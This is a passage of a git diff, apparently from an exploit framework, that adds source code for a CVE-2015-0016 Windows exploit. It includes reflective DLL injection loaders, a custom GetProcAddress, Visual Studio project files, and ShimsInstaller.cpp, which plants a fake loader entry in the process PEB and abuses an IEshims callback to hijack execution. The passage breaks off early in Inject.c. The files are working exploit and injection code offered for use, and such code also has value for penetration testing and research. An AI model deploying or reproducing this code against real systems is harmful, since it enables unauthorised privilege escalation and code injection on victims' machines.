DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h new file mode 100755 index 0000000000..3797879e47 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp new file mode 100755 index 0000000000..6faddcf4d3 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp @@ -0,0 +1,190 @@ +#include "ReflectiveLoader.h" +#include "ShimsInstaller.h" + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 + +typedef struct _MY_LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + //PVOID Reserved3[2]; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + //BYTE Reserved4[8]; + PVOID Reserved5[3]; + union { + ULONG CheckSum; + PVOID Reserved6; + } DUMMYUNIONNAME; + ULONG TimeDateStamp; +} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { + // Reserved. + ULONG Flags; + // The full path name of the DLL module. + PUNICODE_STR FullDllName; + // The base file name of the DLL module. + PUNICODE_STR BaseDllName; + // A pointer to the base address for the DLL in memory. + PVOID DllBase; + // The size of the DLL image, in bytes. + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef void (WINAPI *PNotificationFunc)(UINT, PLDR_DLL_LOADED_NOTIFICATION_DATA); +typedef int (WINAPI *PcshimBindingsHookFunc)(HINSTANCE, UINT, PVOID); +typedef BOOL (WINAPI *PentryPoint)(HINSTANCE, DWORD, LPVOID); + +static PMY_LDR_DATA_TABLE_ENTRY fakeLdrEntry = NULL; +static PLDR_DLL_LOADED_NOTIFICATION_DATA fakeNotification = NULL; +static LIST_ENTRY headBackup; + +static VOID CreateFakeNotification(HINSTANCE hinstDLL) +{ + fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA)); + fakeNotification->DllBase = hinstDLL; + fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); + fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll"; + fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2; + fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2; + fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); + fakeNotification->FullDllName->pBuffer = L"WinRefl.dll"; + fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2; + fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2; + fakeNotification->SizeOfImage = 0x1b000; + fakeNotification->Flags = 0; +} + +static VOID DeleteFakeNotification() { + free(fakeNotification->BaseDllName); + fakeNotification->BaseDllName = NULL; + free(fakeNotification->FullDllName); + fakeNotification->FullDllName = NULL; + free(fakeNotification); + fakeNotification = NULL; +} + +static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint) +{ + fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY)); + memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY)); + fakeLdrEntry->DllBase = dllBase; + fakeLdrEntry->EntryPoint = entryPoint; + fakeLdrEntry->SizeOfImage = 0x1b000; + fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll"; + fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2; + fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2; + fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll"; + fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2; + fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2; +} + +static VOID DeleteFakeModule() +{ + free(fakeLdrEntry); + fakeLdrEntry = NULL; +} + +static VOID UnhookFakeModule() +{ + _PPEB pPeb = (_PPEB)__readfsdword(0x30); + + // Restore the InMemoryOrderModuleList + pPeb->pLdr->InMemoryOrderModuleList = headBackup; + pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(pPeb->pLdr->InMemoryOrderModuleList); + + DeleteFakeModule(); +} + +static VOID HookFakeModule(HINSTANCE hinstDLL, PVOID ep) { + PentryPoint entryPoint = (PentryPoint)ep; + _PPEB pPeb = (_PPEB)__readfsdword(0x30); + + LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList; + // Make Backup to restore later + headBackup = head; + + PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8); + CreateFakeModule(firstEntry, hinstDLL, entryPoint); + + // Insert the fake entry in the InMemoryOrderModuleList + fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink; + fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink; + // Fix the list + pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks); + pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks); + + return; +} + +// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback +static SIZE_T SearchLdrNotificationCallback() +{ + HMODULE ntdll = LoadLibraryA("ntdll.dll"); + FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification"); + PUCHAR searchPtr = (unsigned char *)registerDllMethod; + UCHAR testByte = 0x00; + SIZE_T pNotificationList = 0; + SIZE_T pNotificationCallback = 0; + for (int i = 0; i < 0x1000; i++) { + if (searchPtr[i] == searchPtr[i + 5] + 4 && + searchPtr[i + 1] == searchPtr[i + 6] && + searchPtr[i + 2] == searchPtr[i + 7] && + searchPtr[i + 3] == searchPtr[i + 8]) { + searchPtr = searchPtr + i; + pNotificationList = *(SIZE_T *)searchPtr; + break; + } + if (searchPtr[i] == searchPtr[i + 6] + 4 && + searchPtr[i + 1] == searchPtr[i + 7] && + searchPtr[i + 2] == searchPtr[i + 8] && + searchPtr[i + 3] == searchPtr[i + 9]) { + searchPtr = searchPtr + i; + pNotificationList = *(SIZE_T *)searchPtr; + break; + } + } + + memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T)); + pNotificationCallback += sizeof(SIZE_T) * 2; + + return pNotificationCallback; +} + +VOID InstallShims(HINSTANCE hinstDLL, PVOID ep, LPVOID lpReserved) { + ULONG notificationStruct = 0; + PcshimBindingsHookFunc cshimBindingsHookFunc = NULL; + PNotificationFunc notificationCallback = NULL; + + // Create and Hook fake entry in the InMemoryOrderModuleList + HookFakeModule(hinstDLL, ep); + + // Create a fake LDR_DLL_LOADED_NOTIFICATION_DATA + CreateFakeNotification(hinstDLL); + + // Find IEshims!CShimBindings::_LdrNotificationCallback + memcpy(¬ificationCallback, (PVOID)SearchLdrNotificationCallback(), sizeof(PVOID)); + + // Call the IEshims!CShimBindings::_LdrNotificationCallback with the fake notification. + // It should install CShimBindings::s_DllMainHook as entry point on the fake LDR_DATA_TABLE_ENTRY + notificationCallback(LDR_DLL_NOTIFICATION_REASON_LOADED, fakeNotification); + + // Disclose the address of CShimBindings::s_DllMainHook + memcpy(&cshimBindingsHookFunc, &(fakeLdrEntry->EntryPoint), sizeof(SIZE_T)); + + // Call CShimBindings::s_DllMainHook by ourselves + // It should hijack our Reflective DLL and call the reflective entry point again... + cshimBindingsHookFunc(hinstDLL, DLL_PROCESS_ATTACH, lpReserved); + + // At this moment exploitation should be done, we free the fake LDR_DLL_LOADED_NOTIFICATION_DATA + DeleteFakeNotification(); + + // And finally Unhook the InMemoryOrderModuleList and free the resource + UnhookFakeModule(); + + ExitThread(0); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h new file mode 100755 index 0000000000..0351c25bed --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h @@ -0,0 +1,5 @@ +#ifndef SHIMS_H +#define SHIMS_H + +VOID InstallShims(HINSTANCE, PVOID, LPVOID); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/inject.sln b/external/source/exploits/cve-2015-0016/inject/inject.sln new file mode 100755 index 0000000000..e6c711e846 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcproj b/external/source/exploits/cve-2015-0016/inject/inject.vcproj new file mode 100755 index 0000000000..87312eb71c --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcproj @@ -0,0 +1,360 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcxproj b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj new file mode 100755 index 0000000000..14144ea1c8 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj @@ -0,0 +1,258 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {EEF3FD41-05D8-4A07-8434-EF5D34D76335} + inject + Win32Proj + + + + Application + v120 + MultiByte + true + + + Application + v110 + MultiByte + true + + + Application + v120 + Unicode + + + Application + v110 + Unicode + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Console + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Console + + + + + X64 + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Console + MachineX64 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Console + true + true + MachineX86 + + + copy ..\Release\inject.exe ..\bin\ + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + + + true + Console + true + true + $(OutDir)inject.arm.exe + %(AdditionalDependencies) + + + copy ..\ARM\Release\inject.arm.exe ..\bin\ + + + + + X64 + + + MaxSpeed + true + WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + $(OutDir)inject.x64.exe + true + Console + true + true + MachineX64 + + + copy ..\x64\Release\inject.x64.exe ..\bin\ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters similarity index 57% rename from external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters rename to external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters index fe135862f2..418896d025 100755 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters @@ -1,39 +1,35 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - - - - Header Files - - - Header Files - - - - - Source Files - - - Source Files - - - Source Files - - + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c new file mode 100755 index 0000000000..ef96dcbfbe --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h new file mode 100755 index 0000000000..4f5170c31d --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/Inject.c b/external/source/exploits/cve-2015-0016/inject/src/Inject.c new file mode 100755 index 0000000000..a7f4a2fee3 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/Inject.c @@ -0,0 +1,120 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must 